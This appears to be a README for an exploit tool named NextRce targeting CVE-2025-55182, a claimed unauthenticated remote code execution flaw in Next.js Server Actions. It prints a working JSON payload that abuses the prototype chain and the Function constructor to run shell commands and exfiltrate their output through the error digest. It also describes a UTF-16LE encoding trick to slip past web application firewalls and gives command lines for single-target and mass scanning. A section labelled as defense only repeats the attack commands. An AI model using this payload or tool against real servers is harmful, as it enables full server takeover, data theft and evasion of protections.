NextRce 是一款安全研究工具,用于演示 CVE-2025-55182——一个存在于 Next.js App Router 应用中,使用 React Server Components (RSC) 和 Server Actions 的严重漏洞。
该漏洞允许攻击者通过滥用 Next.js 处理 Server Action 响应 以及解析服务端序列化 RSC 载荷的方式,实现 未认证远程代码执行(RCE)。
CVE-2025-55182 存在于 Next.js App Router 架构中,可归类为在处理 multipart/form-data 请求时发生的 服务端对象注入 / 原型链滥用 问题。
当触发 Server Action 时,Next.js 服务器信任并反序列化结构化的客户端输入。通过发送特制的载荷,攻击者可以操纵内部解析逻辑,并在 Node.js 运行时中执行任意系统命令。
该漏洞由以下组合因素导致:
Server Actions 信任模型
Server Actions 接受结构化的客户端载荷,这些载荷通过内部 React Server Component 解析逻辑处理,但验证不足。
RSC 解析过程中的对象注入
精心构造的载荷可以滥用 JavaScript 原型链和构造函数引用,从而逃逸预期的对象作用域。
清理不足
内部字段如 then、_response 以及 form-data 获取器未得到充分保护,易受恶意操纵。
基于编码的 WAF 绕过
许多 Web 应用防火墙专注于 UTF-8 或标准 JSON。将载荷编码为 UTF-16LE 可使其在检查时被绕过,同时被 Next.js 服务器正确解码。
该利用依赖于在 multipart 请求中注入精心构造的 RSC 载荷。
载荷的简化版本如下所示:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. 原型链劫持
"then": "$1:__proto__:then"then 属性,干扰了 Next.js 运行时中 React Server Component 处理期间 Promise 的解析。2. 构造函数逃逸
"_formData": { "get": "$1:constructor:constructor" }Function 构造函数,从而在预期沙箱之外执行任意 JavaScript。3. 远程代码执行
process.mainModule .require('child_process') .execSync('{cmd}')4. 基于摘要的输出窃取
throw Object.assign(new Error('x'), { digest: res });digest 字段,Next.js 会抑制详细的错误消息。digest 属性上,服务器无意中将执行结果返回在 HTTP 响应中。5. WAF 绕过(UTF-16LE)
Content-Type: text/plain; charset=utf-16le成功利用 CVE-2025-55182 可能导致:
🔥 完全远程代码执行
🗄️ 访问敏感数据和凭据
🔗 基础设施内的横向移动
📦 供应链攻击
🚨 完全服务器接管
严重程度:严重
需要认证:否
防范 CVE-2025-55182 的方法:
单个目标
python3 exploit.py -u https://target.com -c "whoami"批量扫描(含 WAF 绕过)
python3 exploit.py -l urls.txt -B -t 50本项目严格仅供教育、研究和授权的安全测试使用。
请勿针对您不拥有或未经明确许可测试的系统使用此工具。
作者对滥用行为不承担任何责任。